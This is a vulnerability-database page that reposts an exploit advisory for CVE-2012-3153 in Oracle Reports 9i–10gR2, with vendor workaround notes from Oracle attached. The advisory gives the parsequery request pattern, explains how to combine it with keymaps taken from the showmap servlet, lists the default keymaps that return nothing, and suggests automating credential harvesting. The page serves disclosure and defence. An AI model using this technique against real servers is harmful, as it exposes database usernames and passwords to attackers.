Vulners
Lucene search
Oracle Reports Developer Version Release 9i to 10gr2 Database Disclosure
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
 | Oracle Forms and Reports 11.1 - Remote Exploit | 29 Jan 201400:00 | – | zdt |
| Oracle Forms / Reports Remote Code Execution Exploit | 18 Feb 201400:00 | – | zdt |
 | Exploit for CVE-2012-3152 | 15 May 202620:47 | – | githubexploit |
 | CVE-2012-3153 | 16 Oct 201200:00 | – | attackerkb |
| CVE-2012-3152 | 16 Oct 201200:00 | – | attackerkb |
 | CVE-2012-3153 | 29 May 201815:50 | – | circl |
 | Oracle Fusion Middleware Showmap Servlet Information Disclosure (CVE-2012-3152; CVE-2012-3153) | 6 Feb 201400:00 | – | checkpoint_advisories |
| Oracle Fusion Middleware Showenv Servlet Information Disclosure (CVE-2012-3152; CVE-2012-3153) | 6 Feb 201400:00 | – | checkpoint_advisories |
 | CVE-2012-3153 | 16 Oct 201223:00 | – | cve |
 | CVE-2012-3153 | 16 Oct 201223:00 | – | cvelist |
10
PARSEQUERY
http://docs.oracle.com/cd/E16764_01/bi.1111/b32121/pbr_cla007.htm#i640592
Description
Use PARSEQUERY to parse an rwservlet query and display the constructed Reports Server command line.
Syntax
http://your_webserver/reports/rwservlet/parsequery[?][server=server_name][&authid=username/password]
CVE-2012-3153
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-3153
Oracle Reports Developer – Version 9.0.2.0 to 10.1.2.3 [Release 9i to 10gr2]
Information in this document applies to any platform.
9iAS, 9iDS, 10G (DS and AS), and 10G AS Reports/Forms Standalone Installation
An undocumented function of the PARSEQUERY function allows you to take keymaps that are located in /reports/rwservlet/showmap and add them to the query which will allow you to dump the database passwords.
http://server:port/reports/rwservlet/parsequery?<keymap>
Results
•Original Query String(GET) :
<keymap>
•Result Reports Server Command Line
expiredays=0 report=”<keymap>.rdf” jobname=”<keymap>.rdf” desformat=HTML authid=RWUser/ destype=cache userid=account/[email protected]
An exploit could be written to first check the showmap file and parse the non default keymaps then run queries to grab credentials that could then be used to access various applications and/or databases.
Default keymap values that do not return passwords
barcodepaper
barcodeweb
breakbparam
charthyperlink_ias
charthyperlink_ids
distributionpaper
express
orqa
parmformjsp
pdfenhancements
report_defaultid
report_secure
run
runp
tutorial
xmldata
Any other keymap on an unpatched server should return usernames/passwords including the name of the database.
From Oracle
1) Please include references to the MOS notes that provide workarounds
for 10g in your publication. These are:
CVE-2012-3153: https://support.oracle.com/rs?type=doc&id=279683.1 and
https://support.oracle.com/rs?type=doc&id=260243.1
2) Please recommend to customers still using 10g that they upgrade to
11g.
3) Also, please note in your publication that 10g is currently not
supported.
# 0day.today [2018-04-11] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jan 2014 00:00Current
EPSS0.91652